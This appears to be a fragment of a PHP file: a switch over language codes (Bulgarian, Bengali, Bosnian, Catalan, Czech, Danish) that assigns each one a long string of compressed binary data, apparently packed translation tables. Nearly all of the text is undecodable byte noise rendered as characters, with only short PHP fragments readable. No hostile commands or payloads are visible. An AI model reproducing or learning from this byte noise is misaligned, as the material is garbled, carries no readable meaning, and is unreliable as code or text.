���į��Q�0�q��d��r~�G0mN2el�1������)mI)�~f�R�P�Zq�x���!�+Q=��Ҳ�q�:r��P{��9F^"p�$���@S�nv�f��B�Pnt�:�B�r+ppO��13,2�1S1��+��0/3'���P�2R�1�s2�;�`�mL�P���M����]2�4C�IP�6�,�6�h�PF��u4�30a5��c�HI��3�9�U*3E��03�:�v�s�i;"�1�e;�"H�� ���i��j��U��"m�5m�5�4�%;qv�CSA91��S�!��.ETr�:��/B���#�4���'<��@�0#k��/������.�F�k�CNR�'/��U�A�"�;�����r�V� �`ց$\f�nx������r[�f�Jr��B���n���p�h�H��O�%#C�	�>#��0�G�8��(2nI`�H��&|u��xr��~�s2~E7�L�P��S�?�4	��Æ ]Ų8/�Q��=��%%Q�=K��3L�g�fa*���3���(��0Pk�~Ep��_>PeT�-U ���f4CH��`�	X�QNV���&lp$b���W��c	G.s1l$'0n�T)��(��H�b�	0��hX�`�Z ����� ���8�l��:O�~g�pV:c'�c'~�,!"N�6I�X�r�n�V7e6��_2ZT��KO��:?��K@�	t	��@�n`";break;case"bg":$f="�P�r�E�@4�!Awh�Z(&��~n��fa��N�`���D��4��"�]4r;Ae2��a�������.a��rp��@ד�|.W.X4��FP�����$�hR�s���}@�Зp�Д�B�4�sE�΢7f�&E�,��i�XnFC1��l7c��MEo)_G����_<�Gӭ}���,k놊qPX�}F�+9���7i��Z贚i�Q��_a���Z��*�n^���S��9���Y�V��~�]�X\R�6���}�j�}	�l�4�v��=��3	��@D|�¤���[�����^]#�s.�3d*��X�7��p@2�C��9(� �:#�9���7���A����8\z8Fc�������m X���4�;��r�'HS���2�6A>�¦�6��5	�ܸ�kJ��&�j�"K������9�{.��-�^�:�*U?�+*>S�3z>J&SK�&���hR����&�:��ɒ>I�J���L�H�,���/�r/��SYF.�Rc[?ILθ�/t��#�n���K�<h�=[D�V9v��)�)��#1,գ�Q��B�ŤC*5\ �ʰ��2r�H�F��uG��#��w�πF�|cƣ��:rx��!�9��D�b�@�2���D4���9�Ax^;�p�z^�@]��x�7��29�xD��lW��4V6��H�7�x�.6����Г��\Vd��V�쭰�UN�� l�<��;�ݴ�;N�<��XPb��Ur�n��7`��J2!�R҉�<?��(�4�!�JyA wQ���S4҄#䃶�s��@�'���զ����$��/sn�].�76𝠯j��q���%�ƸE0�D��)ݪ>QYi"��4$ҩcf�9ں~�s�$z��#��P&�D�)&�J��n���xSIQ>W�r�@D�YJ�<��J��ˆL!�p���d��u��(c�ۊ�l˅�8�,W	\����&�	r9]r��bo���e���"�s��38��ǵS�CaJ��DL��AB���E���̇.�DH�O46��Z$@EDA���)֫�PDr!���j[�+D�:�tu��eћ�V��$/e������:.��C�p�.(i��5�LL���<J��#AD�����CNI�"��2��'�y^�NAF;�����8�2FV�p	Z��Q)J�/2�CJ�k,$T�:���Ks�.e����|�K�I3���q-yg&в����J��A�Y'3*�ˆQ�F@�:�P�ך�^��'�9C"�c���2D�3(eL�;��aB٘rf���x�S8@��4��Z|�O	��ؔn��&2`�Җ�qr&�:��SPv��qU`��,�"o�D�9�rr�ՙ�'��Q:*�Y%d쥕��_B��4f��AH@�!�S@A�X�S�)�>�h��*��.e��'�>S���ø3i�����INJ/1R�J�U3 gٮ�STwc)\/Fܩ�r�Vg�hF��4�@Ã`l��Q@�heq�3HJë`��:� ��:���<4 �c������Jl��{HU�+�%�8(��·V��e�Jw���n (&-x-�?���R^j���j��@��׸c���,�Hvr1�3ۦ,���sGa��[In�J(h�銇4���ʹ��7&Œ*Gg��4��sW�gd����h(eO�aY(4�O�!?�'t��2�#��\w��ʙz�M�2�bē��n��M}FVXTw�J)�AE*Q&sH�j���M�(�P��D5%�Q����d�^��BoeA��V%?e�j@�)�\�J��t�H�%��ɶt�T˧�����[����_;��0n�w+6Qʂ�)�$IXd4���E_�򊆅q�k�Ėt�uE�A�n��ttL����ui~b��O���]����R����O��� �K/&��M6��R��KWeFl�ϓ-�t���q��'��Zj����2���wl��n̲��J�%�¹����n����Uq�Tr��U�rS�H�Xᰞ����½	�/���`�<�"x-}����Ws���B$����ㄇ"J'3�����อ���mZV���>�bq�r�ӿU��;��(���eE���!*��K��H��L �3f��B;x���yrRƫWaTQ�f�l�V4���d�tKs�~��Dخ4V��~WЍdv_�܀�J��כr��Q�1�rP��0�?rNdw�<o��>���x*5d���s�R���S��:;kk6^��:��\�[ߊ���7N� ����΢��	y���ٟ���;\�nv����(j��B#<��jR����Ŧ%�t��Fkrd�.���A��s�.d:8�����$l.�7�R����z�,�N�E�W-�4 �n�� �	@ �E�G&c�6G��_�䐄�T�D%��M>�K,���@#8�hq��Q(.�F�̲%�����q��ìzº�i��*����ʣ�+0�cd���\0�0���8c���J�-(+��	F������Ъ;�+r���p�n�8"��Xn�r��k�#�6%�Ľ(�K ��Z�N-fZ�P���j��1~.�*P�����w�j.!</	%ś����z��J��,�F�-�Y)�3� �L�즍DŽ�r`4ѐ+�؟EA���;Q�3��gZX��>X&������@Bj�!�B��o�z�����%\B�"H�z�,�M��z�:�2(6� ��]�7g�&.�5�ȁMR��.*���g�&n~CR����R0�J�-U(ʁc�$)�N�pk/Ա�;c�n��[�����v"�(G�O."��ڽ�HQD��E@�b.bj���Br���\��K*�����ŔvR�P�ĉ��M��Z\.%(�`�$�.N��~�ls�B<P�Q@T��(�Ue��J��g)�w���n�4�lk(T@�r���͒@�c�'�J�n�$N/£*r�7p�5�M(�t��)~YO�(sg%9�{5��'�_:s��s��s�}�\3�9�<�B*�3���5r�-�<���$c+d�?0�R�3��S�(��3-���%>�V*���?�6�����q8/5T&���y;t51�)=?B�:S��s�V��.31l���2t�Z��tR���8k>�Nx:��}�@{�l�g2�z��|�$��?E����)FS@�iG.�h��xus�X}B��D)Rl�0�i��P�o���;nuJ�\�O�mN{<�F�4K$��Ob�<�7:�V+I�OI�O�QE��JI4yt[�QQOƋ2�6�����C��S^��4�	D�F�A|X�\�UHt�M'U*Q���F؈cU���%Q�)85Fv�&e2�'$:ar70�"�]��.��6M>�H�%8�6S�ES�P�?'��[3��3[��U+P�����)ҋVe�8�[�nC������U��^�aMu�Af�S}�_'� 6�r`�[n+�"��Z'���]�BE\ӫ[��Qv4Z�h�?]�Q��j3	OvN�VSc�T�μT_V�(��d�fr�,0O�!pp�vdږih��7N�PtF$BP�:.6�K��^q*u�_�q%�3W�i	�Pp����d�֯m0)j�o9uQgB.'�mP*̓��v[V�_��^��V�l�mlүqn�YVB|iX'�%�l�V3id6� W.ܬ�sS��5�R0/oQs�o����L����-"]PU]��#��b	?�A��"�9�p���S�{�I@7�l��$��]57�ARg273,���R�!��rf/��	�Q�>o�IB"�@�7�%=;w��~5A2���b�:bb�d�sf�Z+kH����D��M��nh�I�AK���n���qr��h�1	?�]I�n�)f|���1P)m����{����X���g�2�~��r7	V�ֱ|��(yT?oy_�����	�'@E���D��p���3c�dT�a/��N'ZK.��eT��rN4��Og�lqA��0d�b���4Ӊ�%�̧.��koR�)�����Cn�X�YMw_y�XD>xo�R��.��sMryP�)&�+��0�U4,D-v�'�N���G���Y���NO98�Yܱ� ��寀��r��gXO~τ��)1* %<��i�����c#���,$���]XNd%����J��tLѹ��I��jM��|cK��ڔhOQ�Ȑ�$�=������W��N�=�1�Ofr��E��		s�0V��}���z/e���U�v5U|W"#�";break;case"bn":$f="�S)nt]_� 	XD)L��@�4l5���BQp�� 9��n����,��h�SE�0�b�a%�. �H���.b��2n��D�e*�D��M���,OJÐ��v����х$:IK��g5U4�L�	Nd!u>�&�����a\�@'Jx��S���4�P�D�����z�.S��E<�OS���kb�O�af�hb��B��r��)����Q��W��E�{K��PP~�9\��l*�_W	��7��ɼ� 4N�Q�� 8�'cI��g2��O9��d0�<�CA��:#ܺ�%3��5�!n�nJ�mk����,q���@ᭋ�(n+L�9�x���k�I��2�LI��#Vܦ�#`�������B��4��:�� �,X���2����,(_)��7*�n�p���p@2�C��9.�#��#��2r��7���8M���:�c��2@�L�� �S6�\4�Gʂ�/n:&�.Ht��ļ/��0��2�TgPEt̥L�,L5H����L��G��j�%���R�t���-I�04=XK�$Gf�Jz��R$�a`(�����+b0��z��5qL�/n��S�5"�P��1[R�]�Ԭ�RW�|���Kk��Z�^H�Wҥn�|8��CY�|NKՅDJ���� !�B# �&M��=<���?�!�1�o��&��e9�S��;�/�>�/E	CC X�h�9�0zr��8a�^��(\0�ل�7��x�7��B��xD��l��I�4�6�#H�7�x�Q(M��,M�����є|zE��LPF�5d�E��0D�t��DJQ}��}0�7-�[��/R��Q���(��7��B��9r�B����O�>g��ې+A�.�^��ԅ�UI��+�S�3D�ҭ�]�TUst}~s]�(���"k#�6O����ew.<���(Ȓ��@�l�=b�n�/}��й��r  ��:�K�~Qp5K2Bض��8�u�)G޹��5kő�vr�BHn?AN"����,�[���64{�c!�$��T�1d�f�qh͚'YjY��E*� ЦcL���\ s�D'e��Rj��A�G		��}،G�u�AT�n5�5�1kR���3S�Z�JѼۋ�n)�9�,.AK���$��2��0��?b�)�/#�i�c�!GUM��vR�h�3��O<�u7���2���t2������n$ҕ�p��n;�}�@��0lfn%�nbX)�8�AP7�w�� �`:��|�� r��3����àr�!�3��({�e�:��P�L� jw�h������א��npT<)��7��>��M���Ʀ��i�Ū��֚�^lr��6f�M[Xrm�����p@��8��\:�0e�M�����q�-�%��&���A[�ʓ�v�@'{��m����1�5:��^ܛ�QMa�8����V��m������(wl�7&�\�sp��^l�&�Chp=����J��� ��)�KTC[|PI�{�Z�m�b�C��R�*��u��w!�MY��1���3���Hr�41@�)u�y��3W�?���������h<��0�@@�=�r/�m��F�%AQ��^���TI��@$u1-�,�6C�nR��(.@�=��Qk&��0Ŕ���c�����{Oxey�9C���L�a�;��s�>M49�6{DQ�o��8QV��ڃ���1��TC;]V�H�S��+lnDnp@˜R�rE���pZ��r���eI�H�E���岺�MaDX(�J��YQ���S?gdVP*Lj�-��QrX��p���zۚr!J,�*&)Є5��?7<at6��9�$���w��:�$����|��q�!�>�d�i��f9	5:��N0Pg�D���P.3�'�0�C�Z�-7lK�%�ph�B��K�&"�ͽrZ�G���������LC#W����X�ȹm8�|S�V�7����� nqXlPcM�SE7�m9i<7_�@�xӁvb��E�L��f"G@�glڻɑ��\�α�d�ݗ3Q񈯬#�A�F�[4�1��\��)�FDLH��s� ���'� X2J�B~��ћ���JB^�n���qBè�Ƚ���wk�l��$B��>]G�XWe&Jy�YF*��V�1]�o�����S��m�X̹c�:X�ԁ�t�%-���M��Mc�D�Ԩ�uE/��\��OI�aJ��.@�h�5;�06�ђ���ϥ�q��E�Fϖ�]G�x9�ŤDŽW*�[=�Zl�U���WI���˜iP�+��e=؋A�[s���-�̺�~��诊��i�g�=���D]u�nw�Zdd"�ƌ�\Dz}*H�J>���v�p�!N�c��w�F$>�F����*er�����B����ìHN��J�T�`���(�e%t!b����3��P$+�����G��#�����X3��R�#rAI�0JW�T���pv �n��`�rtM��OI��fnX?E�&$�F�dž)��n^��z@^6y�n�~z1,��t� �1�P�'k'*��/o}o��>}����Ϝ�JP1@�p�0Bt��B-��c�*�1bZ1gQ�÷‰�R�p����:M者*��$qôΎ��rWA�n,�O(���0�G�f�4�H���Q���P����{q��p�v��s�P����v�:�Į	�0�d��B�1�vj�P&NDz�x���#h�q�e�¸1��m���Ac�v�ΐq���ž��#��&Ub�vb�#�.]�(/x�`wO��u�ܓb&�z�'B�gv2l�-�b5OJӧvR#�s��t,���Hi'EUdn&�� p`��U-��w�x(�]�wo�J��%�O%�$w�"7'��!��_d�o-0�%Ū]���010A�����W��2�[R>J��2�����4��#7!qM.rW4q���6/�5h�F��%7�M7�f�n���d"�H�d�l�$�V��`��	�#R�&.�vKs����*��(�V�0�s�����jB��{��Z�rC�/?3;6�K.K�23u5�z_P��,�~�V�2�\�@|��*��(a�or���b���3S[8�K0t:�t>��q�.�8�-7*�8�P�TԨ�+�,��	F�N�R�TV�1I;�I7T4�S�/�%�U3X{tn�sHT�Q�%���q�J�SI�|xI)J3u.E@RYIq�LrKNws5>0k6��@ц.17,��)6��‘^��]�OS1)��B��O3&(��R���P3�5���5H�U"���	�C5r�D��F��T���!�L5EN4��D0�(���G�}4UoK5r0iF(�H�CrE�=m+1� \���N۴=Y�.R�-�j�1M�ܭ���[��{�>�5�Z�’S���Yb�}TՐ&M�1�!�8���%�,0�T�t�2�"T�G40���9\�eAe=RP���IOBS<9��K'dt��Mq7�U��W6@`�DN�D��Xs`U6V�y8u%U�Ttvn�2�-���/e�T�YfT%�����t�C�VԙW}iee �!g��jSwe6���:�Gjj�įv�ֵ�kl��wp��ܭ��+hA&��/���Lq���A�,�)��,s��/��f6�X�}qS�s���v�d��8�)N�IW��g6�aH>HIr�id���<}�vS�)�uo@f)u�|�g;tQm�XܣWu�0vV�awyX0��.�(�HcB�|h�RN ։J�Wr�	�$U,�3K�z��Lh�W�fr_{�w{��lw1uU�|�j��|D�}M%}�Svג���zw�xo=)��u��%��q�`��%N�%�n]�׀W5~LV8aղ�V.�h�.�[W�kx��3�3XJ�]Rt�2Q��mVwkM��k�G�� #ax�G��QX[�%чxeM��v�H�m+p7�.���V�l)Y'�H��2�DxUD�n���_w�x�AQ��Y�����q���W(cdn�qv5bsJBV��]<�1+Y��x��t']5;n��mWdž����Rяu�;��TY�lX'��.�2D�r�L��AO�2���6��g���2���	�5rT���jr�V��`��i�����������i"��r��O����n���p��q�D�.�[]��:�)Su:-�B6s�X;y�Ra��4+�!�����Y7��|�v)$��Ј���7���9�2v��\XÈ�MZ�r�t#0�O������d���%�~P�L8�w��	�ny���#�@���h@�RLsi���*�����BR�gWR�x��n!Œ8��;Y�gZ�8�(��6��yف�ͪs�B�,5%�����)]8�R����i�>C�<l��ߘ@�_��^Z�6C�կ���8 =g�ӟԇ\n���C���1�kYr!�%<(|žqGK���_S�@�g`����N��Q`��b�<�d��"�ZB)��/���k_Z�rctY[�����c&up��n�/8c�eM� r�@��?N���{��p�D�n�,DV�����	�@�	�tn`�";break;case"bs":$f="D0�r����e��L�S���?	E�34S6MƨA��t7��p�tp@u9���x�N0���V"d7����dp���؈�L�A�H�a)̅.�RL��	�p7���L�XnFC1��l7AG���n7���(U�l�����b��eēѴ�>4����)�y��FY��n,�΢A�f �-�����e3�Nw�|��H�r�]�ŧ��43�X�ݣw��A!�D��6e�o7�Y>9���q�$���iM�pV�tb�q$�٤�n%��LIT�k���)�乪��0�h���4	nn:�n��:4P �;�c"\&��H�ro�4����x��@��,�nl�E��j�+)��n���C�r�5����ү/�~����;.�����j�&�f)|0�B8�7����,	�+-+;�2t����2������Q��9��l:���br����܀�n@�>��,n�hԣ4cS=,##�J<ծ��AЀ�1�mP梌�oP";�C5OB#�'n��x�����C@�:�t�㽌4����˘���x�	B����Jh|6�hB�3.cj>4��px�!�=/��	@��B�����è�:!�� ��`�EF�;N2_�n�6�]�'r�O��†ԃ�#�#P����b�d=����$��@�8G�`ܿN"�����8�3#��2�[��]��#���ü��H������,M3Z3����n���b�Zh��:��������"����9�ק�ȸ�ɡۂM���N�67kN��"d9.#H��:'zRS18}�`�H�����s�#�6_�5Á��P�؀�ʼMO�"r��b�v=<�?��-�J��_���[���vW4݌�"6��O�k�����B�ҿ�< �uGr�ip�5�Z�̳x�7��2�%�~£�@o5��7�N����TA�� ��(sV�z5��QN)�d �I�p�n�)%�T��S�Q�2�2��ΟsV��(T��H�3��C�r'uJ�s8���X	b,`�R�Y��g�pOϢ�[�'�3ƹ�I.n��P�n��r"[����j�NJ!@�и�.�O�VkX���̠.V�� +�~�V�X�&(�Cr�}9�ȕ���Ip���H���1���8���%A���˙~�p��T@��0r=!�ͮ�nj��,!n~(��X` 0�����f �UM��e&	,��V���B�a1��1�3���Iw}�@���BsP#��#@�,��r�(����9UjnX� �4K��*���3Xh���4���VmJ���;Ǖ5̙�5qyi�35��n�9-TN͘c�f3��lf��h(�&�/��aL)g����;S�;h�kf0u%�ٺs�I�kTk�6鄑��g'�84�2��#� hlޝ�F��I"���xwDe�n���ՙ0�MR�r�U��M�Λ��5�* ��MK2e�@�˜T���ʔBG�,+��Ш3�@Ѣ2&�x�$��\3�r����>�n�n2k��V�\�)��ja�d�i�B�Sq���=�J@B0T��E<)Ӌ^��I�ܵ����l��ą2��٤j�@'��@B�D!P"�Ph��D�̙�eF�)W�@�-���%ʮ�o�&��8�VJ�/-�5i�Ժ[@Stn�`'��t�j �l�S���tE�3��Nu�v+'��.S�M�ż�?�7�K�nv���P�y�Bix-&��"��][���A�����k��P͖��	�=��\�/�4�ӆQ��L���ML���x��Ɨ�*;$ ���So������e�z�qG��n�`�K<�h��c�z���4��c.eQt.�5�P��;2�(���\�әaN�5A��T�:gN!��H��>!8��K����Hx�����C~�8*!Ebf�))6�-p������0<ݶb����O%�Gc#�ܿ T!$nC��nm�2���U(�͠�@���/l�FK�H��̠�Gt I�Dw#��ֽD�S���щSk6��HU�ܓ��9����r܅��y10\�����	���˙sN �9"�s{�d"������r8K����#���N�!��g�srO��7A㽂�s�Ȉ3�\���s"Z�y��}���ƈ��(�|��<8U�cl;愓�R<)T71y7����	|sd0�t��Xlm��x4`���3EK��_��^�Q��Y��1g�: ��%/��C�Um��,$�S$M�u~Oq���p��<ѫ�O����bs�_{V�n��Ն�9���`vx���lB��k��"Ҥ�(���#��"������h�P0@����	-`�C�3g����G^��te"xe��n�'��C��)l���[̎�O��ȂL-��CC�enǰd�O��C/�o���%�b�O��2�\O���	Ǣ��<�F�M���t�NHM�'��bL�GJr�Q��P̠��r#(���邺0��Mb��*�P�u��̍�C��(nH�,������'�}4���������"i�z�&Te�[�3f�>�4$JHPꛍz(�N�Gh��EF� "��B &#(8�"nY)�\l|$l��J�O�16My�������lE��_���DOn0��h`�(����1�q=r�$�Ia��kf�8����wQ���)��ܱ���~օ-��x�� �q!�~lb�1�>"�V1/R���F�@]�b1�h����2��	��%RO��!&���0�&��-��2��ۉI!Rlorq(`�xT0S�NI�>�Ą%�pl���$ɍҬ/��%��'Mj!dž1��g�n�Cr�D�&Nd%�/�^�&~(��=$�.`��Q-Q�Hv82[�?/s/�r2��-�/�(��31�&j��7��Nb�R���]3ci3�9�.D;3��-�>	���%b��j�1,:'0ƒr�A0H”�7o8SbO7�n��?�E�(�n���p�hE�A�Bd#k�~�c�Е�~�dO;��8��#D���� ���1d�r�V�V��)C�"\�M"PB	���n���p{�s��j2�X��qr�%슬���+t"�p~��R��6��i$�f��|��*+#��13DC�:/ik?O�3f"��NF��1M�EI�D@�=0�K�H%M���B�+,I��d��>hm�n�ȭ:�O��T����������{s�e��Bt�Ks�ϝM��8���0����%e�`�1*�k2>t1�3q��L�K���PW'pnpT.�z��0r��D�Cm�2�(�`����t�CG��|'���2P�"#��lq��'�-�2laF�G���?H�M���c.�.D��� �OcnDA�Vn���:�Ğ*�";break;case"ca":$f="E9�j���e3�NC�P�\33A�D�i��s9�LF�(��d5M�C	�@e6Ɠ���r����d�`g�I�hp��L�9��Q*�K��5L� ��S,�W-��r�<�e4�&"�P�b2��a��rn1e��y��g4��&�Q:�h4�rC�� �M���Xa����+����\>R��LK&��v������3��é�pt��0Y$l�1"P� ���d��$�Ě`o9>U��^y�==��n)�n�+Oo���M|���*��u���Nr9]x��{d���3j�P(�c��2&"�:���:���r�rh�(��8����p�r#{$�j����#Ri�*�˜�h����B��8B�Dƒ�J4��h��n{��K� !/28,$�� #��@�:.̀��(�p�4�h*�; p���p�i{]�RL"r2�qT��;ÇBHPu&�#p�3��Z��&f�R�M,ը#���P�2&�M�c|>�Dn0�c27����X44�{WAÐ��������D4���9�Ax^;ځr?R��r�3���_���J�|6����3.����x�B)@�X�+�7�Bj/A�`N����:!L���%l.�5�7�}"�1,[.����+��ui&�� @1-���Ly@���ڽG��)@K��F�l�=W�oB�nx�3,Tn;/c��L#��T���I���V�.!��(�20؃��zR6r�~�'�N�!7�Ct�P��Z�oR�d�2R�D��KZ���-��V�22��(�������+�RC���4ᴎ9�+�1�����J��8~Oѣ�,x(5�z�h��B(�WLL�e�i8�D��[�!y=f��Ӕ��Ƽj9�N�qʏʓ}Q,N��	����h�0MJ���x���81��>�̀Tr�p��򆌓VD`3���C)���K��>̱R���n�)�a���>O�?ܒ�`ϑ]��n�@��rC0���bL�L�YK1g-����T��l����z/K�, }���^+�BF�+��4�#�˪�:*9H Z��_���e��P|k������<KY�=h�5���0��y���W1BιPF0|�n�b�̚�ֺ�R�S��@�I9.��N"t*+H%>3�t�r�갋��]8��GJr�e	��P2�R�U���B��шrt�#6�hl���TP��3&�(�FW_z� �@$�x D�jE�q�GC��Wr`i5��B����*#Ͱ7�y	r�ەF��9��e���r�,	�crԻ��Nnfٛi$�N}�SnA&�@��p �A�9>s\II9V]�)#�Nf�cj%�$��6MI�=Q&���@��&�D���"M$�d�H��i�F̣� $�����5!>�����uF�Y�~F��O0�¡R�؟�h��^nR�a[�L�N3�tc���N����:���洹4��yV����g0RG*Oe<ɉ�8�3WU&�A0P^%%>�`)��Vԩp��Un �@��D�0"���SԔf,�����r r��#��8rA���%D�A�%'\���S�_���:#�xhI�2�	�/�d��i7�AN����x��zvި���o�r¶@<���ަ%_��9;�X۔�AY#�$x@	"�nĽJ�4X� aIL��i-J|��E�B�h��#�#*Y;��7Q�#ע��zi���f�r$!�<D�ʽ�qOp��q�q��ɍpe���j���nȕ&�wSRH+z�fX#(&�@[�s�@ �ce��B��i�D��Y��(��NG˫�rͰ0�1O-`j�<r8��PRCqQ&�SPH�hDz��!�����T!$J��]�������z.�O��;N�"4� �x !�����c���5@���pcCd|�[BI�e��0�Ѧà.;�>�r����8�0�p��L� ��1`�ɇ�6����K�	%�e���r}�I8�2�)Pp�V�Q���D�s,��ʦ��dȞ�3��� $D����I���ˉ�R�&�	�j�pU�N��X�d`�nq��i�bP��zL(�\��&�9�?.�;=žW�&�l�� }��rI�!91d�s�Ρ�Z�r��ÆiVbn���5<wW0�����#�љ��K�L�$���͜��c8o�q�S�ޅL��j�e�%�ɍ���.��q�m�R�!`��!�0�D�cd��J��JL3��	+D�W����G�.�7�X�)�L*%DV�8lfœ�$(�,fd_@Pm�h%���RI/Z��"�,T�,,Nl�@ܨ��%/�l`w�d(o�0���BQ+�j��~wLGLM,>�Rv������d{G]Bs�=�pG�P2g�5��b��N0{�rO��P��&��=����@��H�l܍F�e=���F�Ԉ�/PX��P���rP�&NzmP��N.���ct�̅6�2d�%%�9C�H�C+���Q/K��@�unR�P߃��✳%�%�R	�Q:F�d�@�r-J��%�eL�G06Ir:�-@_K��!/}e$b(k��1�ư���bP�v,_��p�&�����/e��v0oM5r���M����pc�l��LM�ʣ&i�L�k��nSQ�	��r��r�J�� �&-b�t���̲aŽ��d1�~ű��2��0ٲ(���9�}P�K���3p(R`�;�r��wB%�y%�c�k%�`Rn�/%�}&2:��{&�~M�p:1 �$)(-6���ތ\ղ�)�<ɉ��d�'R��2����f`R���"'U-��(�[.Mbn�\Y��S�H����/�.ҥ0��r"b	��`��2@�eB�fҔ�h?�@�Y"��E���<��3��`�"�qM�d�Ơ�H/��4����n4,:��le�pN� �Zd�r�V��V�Zi�������&.�|`�B�n��@n���Z΀�V�X�'�4���Э7c�x�<�J�$����� �P_*���s�P-�%���@y�=��=�d�c��$6�0�u"L*�ib�- ��&L]*6�!C">;��1fh'f��zUDHl�Jᬂ�����/>6F3�">��B�j�F������G�yH0J>�UF��1Tpn�| �5n^�`��&��ԃq�e��(�2�i�F�UMcC0p	ܳfo�p$�dJ{$0&�r"i�G�x�Fd�t�C�D/D;@� �b�u3��  9-/G��9H�~��'�_��R�|PH�� �.�pSm'�G��JD�.�]~@�T �	t	��@�n`";break;case"cs":$f="O8�'c!�~n��fa�N2�r�C2i6�Q��h90�'Hi��b7����i��i6ȍ���A;͆Y��@v2�r&�y�Hs�JGQ�8%9��e:L�:e2���Zt�@nFC1��l7AP��4T�ت�;jnb�dWeH��a1M��̬���N���e���^/J�-{�J�p�lP���D��le2b��c��u:F���r��bʻ�P��77��LDn�[?j1F��7���I61T7r���{�F�E3i����Ǔ^0�b�b���p@c4{�2�&����r"��JZ�r(挥b�䢦�k�:�CP�)�z�=n �1�c(�*n��99*�^����:4���2��Y����a����8 Q�F&�X�?�|$߸�n!r)���<i��R�B8�7��x�4ƈ��65��n�r#D��8�je�)ncʍr��9(�j�F�$AH̐�P(MRD9���h*O����k�P�I�� ��l�=������2Lȭx���f��!�2ÐL��~��0zr��8a�^��h\0�5T���x�9�ㄜ9��H��J�|;&��A(��K�7��^0��X��n=e#�C{��R#��5��]7�CkH77����`x.޶l�:��[‰7\�+0}�Pʁ(�[0��d����cJ:.o2:�(�n��%ˉ��"�P��#BL>9���Ŋ�z�`�xЉ��z��Y@�:��\g��@��F��YCX�'CH�="փ#I+c�FM�Bb`Ȉ������`W�Z�i.z�G����H"��&L�a[�@V�2�̹ZŰN�s���+{{�%��n'K�(���#�s4v#Gf�EK�X�R��;��$��+"�S��:(�]Ƕ�WQE�y�w�8�z=�Í1�H9��C����2���ҟ�@_TK=>�� ���Q��f�	��p�R-F9b�v�mj�L�10�\�Ui�M��L��|��CV��(TA��`I�'�H7�B%��SMP��[!���;B�H��Y�0���C(#���\W��+!�>�N����RQ6A�zi��F�5��p��bg�HJoȒ7)�PB��U�Ar!a,E��R�Y�B?-0�V�/���@�%>�a�8D,Wr�#�Q���T�R�����%:��MDTΑ�҄j��52F�Q�Bd4D�n+��+�?j�_�E��V:�Yk4;�����t�[��J�ܸ�Lm%��/(A�E�L�x`�7��`�'qBN�@s���צ`��z�����<*IXAp��:��nPY8	�]I�Hv���Q�Kh���TQ^Y��X�)qNa�������xz;IXL��Gd�uL�>���Jp9)8Ԅ��� �4�V�j:nn�)A����,�z# -��P�P�u%.r	 (�AI�UA��K� �\�y�A�^W�G#y�"�e(R8�_�3DF^��pI� aL)`\ 8e;D��.��?�虄�V"���Cc�DH<�X��K��3M��OӁih!:&�<-=��BO�ֱ6F�~g�Dǭ��)EL�n��դU�Df�g��aC���^����n�<!@'�0����iJu�/w����je���<�Hg�FƃR�n�/�+wk���)��V�_\_1$�؆�޻Fn�$ߓ�q�$~Dm>G�V�Hz�'|V�R�P��$IR�ViM"�M4�⪰+Hz��,���7c��/1F�*[��'A� �Ud����55�LI0�)b�p9��`�I�1�+� �A�oA�uA��<歭�"wX0�cn{�fqu.��w�����#�i�8���|�G�����n�PO��>��Rj^Z�Ѡ�c�/`�M|a�M�P���u�x�����1���Sȑ�&��ń��iK�n����Sy8�&}n��Z����5��0�vgg�#�f�2��a�(�t��"r@(!��~�M\��lw���g	|3�t��w��_��'�(k��"n`�4���2�šC���<M�fk��Be��rIv�A��ۍiAF���@B�T!${�I��#z�\r$�LQ���#�krl��*����V����.y��ki��.����T�8��DxJ[tX.��Y�v�hcf�]�<���>dx�����׻���]���1 ;�^u��2�	�˝-2fUU�^l���v̄2?;�����G(\�=;��>����Y��s�b{H��ٶ㋐T�f���'QDD<��t߂�S	�4�ko����f�f��V��G�%`ES"��(�w���!/ŸX����E�t��XN;?����ukb�F�l�P`�(�RL�8���t1�7�:��c#~�C~lz�c��DcN�7��5�J�#�'P>/�~7y�p6�A�_�`�dܐB��&4�w�.��v�r#4�&"0d�N#x��ri��jm�A�jĂ�ppv� �`��4��� �'m��L���,��'r �b��n�|M�+)��N�����rU��+/�ffj`@L�40�~F��M�P�� �ِtΥf��\U`�rF��;���k,G��ڐ�#1)�Jr�^{�~�H�Ǣ'�l{gf�0|`�(%g�}��A�: ���}�8�+Alp4��������ћ��F@��q�4���T�h�Dg�b7�=Qe����O2ތR�n��p�`�O��Ń� 1� ���[ ԕ�L'��� ުψ7��&,�Q\�d�&'>!�.���,��|x#�#�ȤEjȆh9�"�l�ebX$���r��#N&<�'��$$�+0��ޒd<0�cM��(�"��l�-�!P�&� 0n G�,R�"1K��^Qx孼a�������{,�s�J������/�I���Pu��7�0Mnz3.�2����C:=�x@Fn	b*�Mnf�<��<�F�9���,�/4�5Q���5�I-�O���`@�F�9��7Ks5^qL7�xkÝ8�a1������%b�g@�DB�C�$���x�;:��:��0�m	�;�y<1'60S1"�:��93lR3�C����4�W>��<r�t�u%��R�T�#;r�tE#!t�sn�q�+��@m�t$OĆI�.��n�l�+CA3�5��O�`G���D�EB�O�>���5��`g�2'�GgT=>� �4!�/a`��T��4�����AH�H�5JcGIq�I�:��V	b2���erf�9�24��#�m�����r���4�(CD�1�'�K+@#CWOG��N��e�r�V;†n�"�e!�W�Oj|?f|��D��'2E'f�$��Gaf�o�&��n���p�Ѧ���(�O��4�\�Vmm���qP5t��mP���LB&"�/E$��zphb�rtƘB�? f�#	b9��G�H�f�G�&B��(�9[��4��F�n��/��ld'�$ҋ�*�$AcPJ��(2S&v�M���O�4����6��8̨XG�#aQƄ��jc�g�%ct�2rH	,<���{d�#R���l;^�9�$C�A�P�$p�ׂ�����h��(B�f �'I�U��E�1i����2"epJ��#�e��C�SLxu�k�a��,���)���Ǯ�mL˦�6r�c�?k�8k->f�n6r�xI�@@";break;case"da":$f="E9�Q��k5�NC�P�\33AAD����eA�"���o0�#cI�\n&�Mpci�� :IM���Js:0�#���s�B�S�nNF��M�,��8�P�FY8�0��cA��n8����h(�r4��&�	�I7�S	�|l�I�FS%�o7l51�r������(�6�n7���13�/�)��@a:0��n��]���t��e�����8��g:`�	��h���Br�g�Л����)�0�3��hn!��pQT�k7��WX�'"h.��e9�<:�t�=�3��ȓ�.�@;)CbҜ)�Xˆ��bD��MB���*ZH��	8�:'����;M��<����9��r�#j������EBp�:Ѡ�欑�������#�j���"<<�cr���Rbj��hT	@-��;rȘޑ?�X�P���P��2(�����X ��j֡�{����0�c�.,��Ob0;�#��7����o��2�yI�	